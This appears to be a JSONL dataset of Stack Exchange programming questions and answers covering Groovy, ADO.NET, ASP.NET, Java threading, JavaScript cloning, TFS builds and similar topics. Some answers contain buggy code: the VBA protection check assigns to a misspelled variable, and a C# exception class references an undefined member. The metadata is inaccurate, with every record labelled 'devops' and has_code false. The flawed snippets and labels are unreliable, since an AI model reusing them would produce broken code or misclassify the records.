{"id": "hf_a9ff53bf7e5b", "question": "<p>How does one invoke a groovy method that prints to stdout, appending the output to a string?</p>\n", "question_body": "", "answer": "This demonstrates how you can do this.  Paste this into a Groovy script file and run it.  You will see the first call functions as normal.  The second call produces no results.  Finally, the last step in the main prints the results of the second call that were redirected to a ByteArrayOutputStream.\nHave fun!\n```\n```\nvoid doSomething() {\n  println \"i did something\"\n}\n\nprintln \"normal call\\n---------------\"\ndoSomething()\nprintln \"\"\n\ndef buf = new ByteArrayOutputStream()\ndef newOut = new PrintStream(buf)\ndef saveOut = System.out\n\nprintln \"redirected call\\n---------------\"\nSystem.out = newOut\ndoSomething()\nSystem.out = saveOut\nprintln \"\"\n\nprintln \"results of call\\n---------------\"\nprintln buf.toString()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:57.465997"}
{"id": "hf_eca43d5f75ab", "question": "<p>I am 90% sure I saw this answer on stackoverflow before, in fact I had never seen the \"int?\" syntax before seeing it here, but no matter how I search I can't find the previous post, and it's driving me crazy.</p>\n\n<p>It's possible that I've been eating the funny mushrooms by accident, but if I'm not, can someone please point out the previous post if they can find it or re-explain it?  My stackoverflow search-fu is apparently too low....</p>\n", "question_body": "", "answer": "int? is shorthand for\n```\nNullable<int>\n```\n.\nThis\nmay be the post you were looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:57.513764"}
{"id": "hf_2f069cd164ca", "question": "<p>In an attempt to add some parameter validation and correct usage semantics to our application, we are trying to add correct exception handling to our .NET applications.</p>\n\n<p>My question is this: When throwing exceptions in ADO.NET if a particular query returns no data or the data could not be found, what type of exception should I use?</p>\n\n<p>Psuedocode:\n(read, don't scrutinize the semantics of the code, I know it won't compile)</p>\n\n<pre><code>public DataSet GetData(int identifier)\n{\n    dataAdapter.Command.Text = \"Select * from table1 Where ident = \" + identifier.toString();\n    DataSet ds = dataAdapter.Fill(ds);\n    if (ds.table1.Rows.Count == 0)\n        throw new Exception(\"Data not found\");\n\n    return ds;\n}\n</code></pre>\n", "question_body": "", "answer": "As far as ADO.net is concerned, a query that returns zero rows is not an error. If your application wishes to treat such a query as an error, you should create your own exception class by inheriting from Exception.\n```\n```\npublic class myException : Exception\n{\n   public myException(string s) : base() \n   {\n      this.MyReasonMessage = s;\n   }\n}\n\npublic void GetData(int identifier)\n{\n    dataAdapter.Command.Text = \"Select * from table1 Where ident = \" + identifier.toString();\n    DataSet ds = dataAdapter.Fill(ds);\n    if (ds.table1.Rows.Count == 0)\n        throw new myException(\"Data not found\");\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:57.549071"}
{"id": "hf_538732245a7c", "question": "<pre><code>string percentage = e.Row.Cells[7].Text;\n</code></pre>\n\n<p>I am trying to do some dynamic stuff with my GridView, so I have wired up some code to the RowDataBound event. I am trying to get the value from a particular cell, which is a TemplateField. But the code above always seems to be returning an empty string. </p>\n\n<p>Any ideas?</p>\n\n<p>To clarify, here is a bit the offending cell:</p>\n\n<pre><code>&lt;asp:TemplateField HeaderText=\"# Percentage click throughs\"&gt;\n&lt;ItemTemplate&gt;\n    &lt;%# AddPercentClickThroughs((int)Eval(\"EmailSummary.pLinksClicked\"), (int)Eval(\"NumberOfSends\")) %&gt;\n&lt;/ItemTemplate&gt;\n&lt;/asp:TemplateField&gt;\n</code></pre>\n\n<p>On a related note, does anyone know if there is a better way of selecting the cell in the row. It sucks putting in <code>cell[1]</code>. Couldn't I do <code>cell[\"mycellname\"]</code>, so if I decide to change the order of my cells, bugs wont appear?</p>\n", "question_body": "", "answer": "First you need to wrap your code in a\n```\nLabel\n```\nor\n```\nLiteral\n```\ncontrol so that you can reference it properly. What's happening is that there's no way for the system to keep track of it, because there's no control associated with the text. It's the control's responsibility to add its contents to viewstate.\nYou need to use gridView.FindControl(\"controlName\"); to get the control in the row. From there you can get at its properties including\n```\nText\n```\n.\nYou can also get at the DataItem property of the Row in question and cast it to the appropriate type and extract the information directly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:57.608825"}
{"id": "hf_884631664d60", "question": "<p>I doubt it can be done portably, but are there any solutions out there?  I think it could be done by creating an alternate stack and reseting SP,BP, and IP on function entry, and having yield save IP and restore SP+BP.  Destructors and exception safety seem tricky but solvable.</p>\n\n<p>Has it been done?  Is it impossible?</p>\n", "question_body": "", "answer": "Does\nCOROUTINE a portable C++ library for coroutine sequencing\npoint you in the right direction? It seems like an elegant solution that has lasted the test of time.....it's 9 years old!\nIn the DOC folder is a pdf of the paper A Portable C++ Library for Coroutine Sequencing by Keld Helsgaun which describes the library and provides short examples using it.\n[update] I'm actually making successful use of it myself. Curiosity got the better of me, so I looked into this solution, and found it was a good fit for a problem I've been working on for some time!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:57.669121"}
{"id": "hf_d700e0562026", "question": "<p>I have two threads in an Android application, one is the view thread, and the other is the worker thread. What I want to do is, sleep the worker thread until the view thread terminates the handling of the onDraw method.</p>\n\n<p>How i can do this? is there any wait for the signal or something?</p>\n", "question_body": "", "answer": "Share a java.lang.Object between the two threads, whose sole purpose is to tell the worker thread when it can continue its work.  Whenever the worker thread reaches a point where it should sleep, it does this:\n```\n```\nstick.wait();\n```\n```\nWhen the view thread finishes its onDraw work, it calls this:\n```\n```\nstick.notify();\n```\n```\nNote the requirement that the view thread owns the monitor on the object.  In your case, this should be fairly simple to enforce with a small sync block:\n```\n```\nvoid onDraw() {\n  ...\n  synchronized (stick) {\n    stick.notify();\n  }\n} // end onDraw()\n```\n```\nConsult the javadoc for java.lang.Object on these methods (and notifyAll, just in case); they're very well written.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:57.693706"}
{"id": "hf_85890ed7175e", "question": "<p>My question is, which version-naming scheme should be used for what type of project.</p>\n\n<p>Very common is major.minor.fix, but even this can lead to 4 number (i.e. Firefox 2.0.0.16). Some have a model that odd numbers indicate developer-versions and even numbers stable releases. And all sorts of additions can enter the mix, like -dev3, -rc1, SP2 etc.</p>\n\n<p>Exists reasons to prefer one scheme over another and should different type of projects (i.e. Open Source vs. Closed Source) have different version naming schemes?</p>\n", "question_body": "", "answer": "I personally prefer MAJOR.MINOR.BUGFIX-SUFFIX where SUFFIX is\n```\ndev\n```\nfor development versions (version control checkouts),\n```\nrc1\n```\n/\n```\nrc2\n```\nfor release candidates and no suffix for release versions.\nIf you have suffixes for development checkouts, maybe even with the revision number, there is no need to make them even/odd to keep them apart.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:57.758395"}
{"id": "hf_8d469fd39205", "question": "<p>I recently heard of BDD and found it very similar to TDD.</p>\n\n<p>Which of these two do you use (if any)?</p>\n\n<p>and which are the pros and cons of each?</p>\n", "question_body": "", "answer": "BDD is similar to TDD but with a different mindset. In BDD you're trying to create executable specifications instead of tests. This is mostly accomplished by using a different vocabulary but similar mechanics as TDD.\nBDD seems to be a reaction to a lot of cases where people claimed to be doing TDD but were writing integration tests instead of unit tests. BDD people thought talking about tests was misleading and so tests became specifications. This seems a bit metaphysical but there are some good ideas behind it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:57.781745"}
{"id": "hf_d343be649566", "question": "<p>I can use properties of an Excel Worksheet to tell if the worksheet is protected (Worksheet.Protection, Worksheet.ProtectContents etc).</p>\n\n<p>How can I tell using VBA if the entire workbook has been protected?</p>\n", "question_body": "", "answer": "Worksheet.ProtectedContents is what you would need to use, on each Worksheet.\nSo I would set up a loop like this:\n```\n```\nPublic Function wbAllSheetsProtected(wbTarget As Workbook) As Boolean \n\nDim ws As Worksheet \n\nwbAllSheetsProtected = True\n\nFor Each ws In wbTarget.Worksheets \n    If ws.ProtectContents = False Then \n        wbAllProtected = False\n        Exit Function \n    End If \nNext ws \n\nEnd Function\n```\n```\nThe function will return True if every worksheet is protected, and False if there are any worksheets not protected.  I hope this is what you were looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:57.805576"}
{"id": "hf_ae1829881e90", "question": "<p>I need to set the text within a DIV element dynamically. What is the best, browser safe approach? I have prototypejs and scriptaculous available.</p>\n\n<pre><code>&lt;div id=\"panel\"&gt;\n  &lt;div id=\"field_name\"&gt;TEXT GOES HERE&lt;/div&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>Here's what the function will look like:</p>\n\n<pre><code>function showPanel(fieldName) {\n  var fieldNameElement = document.getElementById('field_name');\n  //Make replacement here\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\n$('field_name').innerHTML = 'Your text.';\n```\n```\nOne of the nifty features of Prototype is that\n```\n$('field_name')\n```\ndoes the same thing as\n```\ndocument.getElementById('field_name')\n```\n. Use it! :-)\nJohn Topley's answer using Prototype's\n```\nupdate\n```\nfunction is another good solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:57.853056"}
{"id": "hf_40ff506bb56a", "question": "<p>I'm preparing to deploy my Django app and I noticed that when I change the \"DEBUG\" setting to False, all references to static files (i.e., JavaScript, CSS, etc..) result in <code>HTTP 500</code> errors.</p>\n\n<p>Any idea what's causing that issue (and how to fix it)?</p>\n", "question_body": "", "answer": "I would highly recommend letting your web server handle the static requests, without getting to Django. In my\n```\nurls.py\n```\n, I only add the static request handler when debug is set to True.\nTechnically, Django serving the static works fine though. Definitely read the short docs page,\nhttp://docs.djangoproject.com/en/dev/howto/static-files/\n. You'll want to use an entry like this in\n```\nurls.py\n```\n```\n```\n(r'^static/(?P<path>.*)$', 'django.views.static.serve',\n    {'document_root': '/path/to/media'})\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:57.977533"}
{"id": "hf_7ffc594a2375", "question": "<p>I'm looking for some programming guides to C# GUI design.  I come from the Java camp (where I can happily hand-code Swing/AWT GUIs) and thus don't have a clue where to start :(</p>\n\n<p>Also, what difference (if any) is there between the Windows Presentation Foundation and WinForms?</p>\n", "question_body": "", "answer": "Windows Presentation Foundation\nis a vector-based system that is part of .NET 3.0.  It allows you to define your UI in XAML, and can do all sorts of animation, 3D, etc. very easily.  It's much newer and still being evalulated by a lot of folks.\nWindows Forms\nis a wrapper over older windows UI classes (Win32/MFC or whatever).  It came with .NET 1.0 and uses C# to define all the UI and its layout.  It's the tried and true UI method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.058474"}
{"id": "hf_61a76cacd259", "question": "<p>I have a site using a custom favicon.ico. The favicon displays as expected in all browsers except IE. When trying to display the favicon in IE, I get the big red x; when displaying the favicon in another browser, it displays just fine. The page source includes \n and it does work in other browsers. Thanks for your thoughts.</p>\n\n<p><strong>EDIT: SOLVED: The source of the issue was the file was a jpg renamed to ico. I created the file as an ico and it is working as expected. Thanks for your input.</strong></p>\n", "question_body": "", "answer": "Right you've not been that helpful (providing source would be have been really useful!) but here you go... Some things to check:\nIs the code like this:\n```\n```\n<link rel=\"icon\" href=\"http://www.example.com/favicon.ico\" type=\"image/x-icon\" />\n<link rel=\"shortcut icon\" href=\"http://www.example.com/favicon.ico\" type=\"image/x-icon\" />\n```\n```\nIs it in the\n```\n<head>\n```\n?\nIs the image a\nreal\nico file? (renaming a bitmap is not a real .ico! Mildly different format)\nDoes it work when you add the page as a bookmark?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.142967"}
{"id": "hf_ad0ece78244f", "question": "<p>I have a table in a MSSQL database that looks like this:</p>\n\n<pre><code>Timestamp (datetime)\nMessage (varchar(20))\n</code></pre>\n\n<p>Once a day, a particular process inserts the current time and the message 'Started' when it starts. When it is finished it inserts the current time and the message 'Finished'.</p>\n\n<p>What is a good query or set of statements that, given a particular date, returns:</p>\n\n<ul>\n<li>0 if the process never started</li>\n<li>1 if the process started but did not finish</li>\n<li>2 if the process started and finished</li>\n</ul>\n\n<p>There are other messages in the table, but 'Started' and 'Finished' are unique to this one process.</p>\n\n<p>EDIT: For bonus karma, raise an error if the data is invalid, for example there are two 'Started' messages, or there is a 'Finished' without a 'Started'.</p>\n", "question_body": "", "answer": "```\n```\nSelect Count(Message) As Status\nFrom   Process_monitor\nWhere  TimeStamp >= '20080923'\n       And TimeStamp < '20080924'\n       And (Message = 'Started' or Message = 'Finished')\n```\n```\nYou could modify this slightly to detect invalid conditions, like multiple starts, finishes, starts without a finish, etc...\n```\n```\nSelect  Case When SumStarted = 0 And SumFinished = 0 Then 'Not Started'\n             When SumStarted = 1 And SumFinished = 0 Then 'Started'\n             When SumStarted = 1 And SumFinished = 1 Then 'Finished'\n             When SumStarted > 1 Then 'Multiple Starts' \n             When SumFinished > 1 Then 'Multiple Finish'\n             When SumFinished > 0 And SumStarted = 0 Then 'Finish Without Start'\n             End As StatusMessage\nFrom    (\n          Select Sum(Case When Message = 'Started' Then 1 Else 0 End) As SumStarted,\n                 Sum(Case When Message = 'Finished' Then 1 Else 0 End) As SumFinished\n          From   Process_monitor\n          Where  TimeStamp >= '20080923'\n                 And TimeStamp < '20080924'\n                 And (Message = 'Started' or Message = 'Finished')\n        ) As AliasName\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.166964"}
{"id": "hf_fb165ecc6a06", "question": "<p>Management wants us to switch to Infragistics. But my boss says that any 3rd party is destined to fail, and at that point there won't be anything we can do about it.</p>\n\n<p>Is he right, is he wrong? I don't know. </p>\n\n<p>What are your opinions, is it better to use something developed inside the company, or do you prefer something like DevExpress, Infragistics, Krypton to name a few or is there something else even better that you would recommend instead?</p>\n", "question_body": "", "answer": "I don't think it's entirely bad to rely on third parties. Some are very reputable and will do a great job of supporting you. But on the other hand, some are terrible to work with even if they stay in business. I don't know anything about the frameworks you've mentioned, though.\nHave you considered an open source framework? That way you can still work on it yourself if all else fails. Of course, you have to take into account licensing requirements when doing this, but I think it's definitely something you should look into if it's appropriate for the project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.227336"}
{"id": "hf_8f363454db75", "question": "<p>What is the most efficient way to clone a JavaScript object? I've seen <code>obj = eval(uneval(o));</code> being used, but <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/uneval\" rel=\"noreferrer\">that's non-standard and only supported by Firefox</a>.<br/><br/> I've done things like <code>obj = JSON.parse(JSON.stringify(o));</code> but question the efficiency. <br/><br/> I've also seen recursive copying functions with various flaws.\n<br />\nI'm surprised no canonical solution exists.</p>\n", "question_body": "", "answer": "If there wasn't any builtin one, you could try:\n```\n```\nfunction clone(obj) {\n    if (obj === null || typeof (obj) !== 'object' || 'isActiveClone' in obj)\n        return obj;\n\n    if (obj instanceof Date)\n        var temp = new obj.constructor(); //or new Date(obj);\n    else\n        var temp = obj.constructor();\n\n    for (var key in obj) {\n        if (Object.prototype.hasOwnProperty.call(obj, key)) {\n            obj['isActiveClone'] = null;\n            temp[key] = clone(obj[key]);\n            delete obj['isActiveClone'];\n        }\n    }\n    return temp;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.251473"}
{"id": "hf_d72a06676537", "question": "<p>I want to filter a <code>java.util.Collection</code> based on a predicate.</p>\n", "question_body": "", "answer": "Use\nCollectionUtils.filter(Collection,Predicate)\n, from Apache Commons.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.288045"}
{"id": "hf_fcb06600cdde", "question": "<p><strong>\"It is not possible to check out a single file. The finest level of checkouts you can do is at the directory level.\"</strong></p>\n\n<p>How do I get around this issue when using Subversion?</p>\n\n<p>We have this folder in Subversion where we keep all our images. I just want to check out one file (image) from that. This folder is really big and has ton of other stuff which I don't need now.</p>\n", "question_body": "", "answer": "Use\n```\nsvn cat\n```\nor\n```\nsvn export\n```\n.\nFor that, you don't need to fetch the working directory, but you will not be able to commit any changes you make. If you need to make changes and commit them, you need a working directory, but you don't have to fetch it completely. Checkout the revision where the directory was still/almost empty, and then use 'svn cat' to extract the file from HEAD.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.313307"}
{"id": "hf_fc7dd3216c88", "question": "<p>I have implemented the WMD control that Stack Overflow uses into a project of mine, it <strong>almost</strong> works like a charm, but when I save the changes to the database it is saving the HTML version and not the Markdown version.</p>\n\n<p>So where I have this in my text box:</p>\n\n<pre><code>**boldtext**\n</code></pre>\n\n<p>It is really saving this:</p>\n\n<pre><code>&lt;b&gt;boldtext&lt;/b&gt;\n</code></pre>\n\n<p>How do I make it save the Markdown version?</p>\n", "question_body": "", "answer": "Before you include\n```\nwmd.js\n```\n, or whatever you've named the WMD editor JavaScript code locally, add one line of JavaScript code:\n```\n```\nwmd_options = {\"output\": \"Markdown\"};\n```\n```\nThis will force the output of the editor to Markdown.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.338391"}
{"id": "hf_fe6d77420722", "question": "<p>My client has a multi-page PDF file.  They need it split by page.  Does anyone know of a way to do this - preferably in C#.</p>\n", "question_body": "", "answer": "PDFSharp\nis an open source library which may be what you're after:\nKey Features\nCreates PDF documents on the fly from any .Net language\nEasy to understand object model to compose documents\nOne source code for drawing on a PDF page as well as in a window or on the printer\nModify, merge, and split existing PDF files\nThis sample\nshows how to convert a PDF document with n pages into n documents with one page each.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.363721"}
{"id": "hf_d378eacf496b", "question": "<p>I'm a big fan of the Jadclipse plugin and I'd really like to upgrade to Eclipse 3.4 but the plugin currently does not work. Are there any other programs out there that let you use jad to view source of code you navigate to from Eclipse? (Very useful when delving into ambiguous code in stack traces).</p>\n", "question_body": "", "answer": "I'm successfully using JadClipse with Eclipse 3.4\nEclipse 3.4.0.I20080617-2000\nJadClipse 3.3.0\nIt just works!\nEDIT:\nActually, see\nOlegSOM's answer\nbelow for the additional steps that you might need to remember to take, if like me you forget to read documentation sometimes!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.389521"}
{"id": "hf_02401a8c3206", "question": "<p>Ruby's standard popen3 module does not work on Windows. Is there a maintained replacement that allows for separating stdin, stdout, and stderr?</p>\n", "question_body": "", "answer": "POpen4\ngem has a common interface between unix and Windows. The following example (from their website) works like a charm.\n```\n```\nrequire 'rubygems'\nrequire 'popen4'\n\nstatus =\n  POpen4::popen4(\"cmd\") do |stdout, stderr, stdin, pid|\n    stdin.puts \"echo hello world!\"\n    stdin.puts \"echo ERROR! 1>&2\"\n    stdin.puts \"exit\"\n    stdin.close\n\n    puts \"pid        : #{ pid }\"\n    puts \"stdout     : #{ stdout.read.strip }\"\n    puts \"stderr     : #{ stderr.read.strip }\"\n  end\n\nputs \"status     : #{ status.inspect }\"\nputs \"exitstatus : #{ status.exitstatus }\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.415365"}
{"id": "hf_96e16a734285", "question": "<p>I'm using Team Foundation Build but we aren't yet using TFS for problem tracking, so I would like to disable the work item creation on a failed build. Is there any way to do this? I tried commenting out the work item info in the TFSBuild.proj file for the build type but that didn't do the trick.</p>\n", "question_body": "", "answer": "Try adding this inside the PropertyGroup in your TFSBuild.proj:\n```\n```\n<SkipWorkItemCreation>true</SkipWorkItemCreation>\n```\n```\nIf you are curious as to how this works, Microsoft.TeamFoundation.Build.targets contians the following:\n```\n```\n<Target Name=\"CoreCreateWorkItem\"\n          Condition=\" '$(SkipWorkItemCreation)'!='true' and '$(IsDesktopBuild)'!='true' \"\n          DependsOnTargets=\"$(CoreCreateWorkItemDependsOn)\">\n\n    <PropertyGroup>\n      <WorkItemTitle>$(WorkItemTitle) $(BuildNumber)</WorkItemTitle>\n      <BuildLogText>$(BuildlogText) &lt;a href='file:///$(DropLocation)\\$(BuildNumber)\\BuildLog.txt'&gt;$(DropLocation)\\$(BuildNumber)\\BuildLog.txt&lt;/a &gt;.</BuildLogText>\n      <ErrorWarningLogText Condition=\"!Exists('$(MSBuildProjectDirectory)\\ErrorsWarningsLog.txt')\"></ErrorWarningLogText>\n      <ErrorWarningLogText Condition=\"Exists('$(MSBuildProjectDirectory)\\ErrorsWarningsLog.txt')\">$(ErrorWarningLogText) &lt;a href='file:///$(DropLocation)\\$(BuildNumber)\\ErrorsWarningsLog.txt'&gt;$(DropLocation)\\$(BuildNumber)\\ErrorsWarningsLog.txt&lt;/a &gt;.</ErrorWarningLogText>\n      <WorkItemDescription>$(DescriptionText) %3CBR%2F%3E $(BuildlogText) %3CBR%2F%3E $(ErrorWarningLogText)</WorkItemDescription>\n    </PropertyGroup>\n\n    <CreateNewWorkItem\n          TeamFoundationServerUrl=\"$(TeamFoundationServerUrl)\"\n          BuildUri=\"$(BuildUri)\"\n          BuildNumber=\"$(BuildNumber)\"\n          Description=\"$(WorkItemDescription)\"\n          TeamProject=\"$(TeamProject)\"\n          Title=\"$(WorkItemTitle)\"\n          WorkItemFieldValues=\"$(WorkItemFieldValues)\"\n          WorkItemType=\"$(WorkItemType)\"\n          ContinueOnError=\"true\" />\n\n  </Target>\n```\n```\nYou can override any of this functionality in your own build script, but Microsoft provide the handy SkipWorkItemCreation condition at the top, which you can use to cancel execution of the whole target.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.480115"}
{"id": "hf_829cc5443262", "question": "<p>I'm a big fan of the way Visual Studio will give you the comment documentation / parameter names when completing code that you have written and ALSO code that you are referencing (various libraries/assemblies).</p>\n\n<p>Is there an easy way to get inline javadoc/parameter names in Eclipse when doing code complete or hovering over methods? Via plugin? Via some setting? It's extremely annoying to use a lot of libraries (as happens often in Java) and then have to go to the website or local javadoc location to lookup information when you have it in the source jars right there!</p>\n", "question_body": "", "answer": "Short answer would be yes.\nYou can attach source using the properties for a project.\nGo to Properties (for the Project) -> Java Build Path -> Libraries\nSelect the Library you want to attach source/javadoc for and then expand it, you'll see a list like so:\n```\n```\nSource Attachment: (none)\nJavadoc location: (none)\nNative library location: (none)\nAccess rules: (No restrictions)\n```\n```\nSelect Javadoc location and then click Edit on the right hahnd side. It should be quite straight forward from there.\nGood luck :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.505271"}
{"id": "hf_e17d7b2fee0e", "question": "<p>I am used to TYPO3 where I just can upload an image within the content element an then just determine the size an so on.</p>\n\n<p>Is there a way to handle images in drupal somehow like this?</p>\n", "question_body": "", "answer": "I'm just starting to learn about drupal, but here are some of my finds in the Drupal-image-gallery department - perhaps one of these will do what you want:\nFlickrup\nPROG Gallery\nGallery2", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.529653"}
{"id": "hf_dbebcc1a6439", "question": "<p>I'm trying to setup some friendly URLs on a SharePoint website. I know that I can do the ASP.Net 2.0 friendly URLs using RewritePath, but I was wondering if it was possible to make use of the System.Web.Routing that comes with ASP.NET 3.5 SP1. </p>\n\n<p>I think I've figured out how to get my route table loaded, but I'm not clear on what method to use to get the correct IHttpHandler to pass out.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "It should be as easy as the below.\n```\n```\nvar route = new Route(\"blah/{*path}\", new MyRouteHandler());\nRouteTable.Routes.Add(route);\n\npublic class MyRouteHandler : IRouteHandler\n{\n    public IHttpHandler GetHttpHandler(RequestContext requestContext)\n    {\n        // return some HTTP handler here\n    }\n}\n```\n```\nThen register System.Web.Routing.UrlRoutingModule under HTTP modules in web.config and you should be good to go.\n```\n```\n<add name=\"Routing\" type=\"System.Web.Routing.UrlRoutingModule, System.Web.Routing, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35\"/>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.558311"}
{"id": "hf_c10b8c1fb649", "question": "<p>I have a list control in GTK+ (a <code>gtk.TreeView</code> with one column), with \"find-as-you type\" enabled (so typing any text will open a small search field for searching through the list entries). Now, if the user enters some search text like \"abc\", should I search only for entries <em>starting</em> with \"abc\", or should I search for entries that contain \"abc\" somewhere in their text?</p>\n\n<p>(links to relevant Human Interface Guidelines appreciated)</p>\n", "question_body": "", "answer": "As a user, I appreciate a \"contains\" search rather than a \"starts with\".  Sometimes you can't remember exactly what you're looking for and it's more helpful to suggest things that are similar to your search query rather than using it as a straight filter.\nThere are times when there are multiple way to list something as well, ie:\n```\n```\nShining, The - King, Stephen\nThe Shining - Stephen King\nKing, Stephen - The Shining\n```\n```\netc.. In my opinion, typing in \"Shining\" should return any of those results.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.595146"}
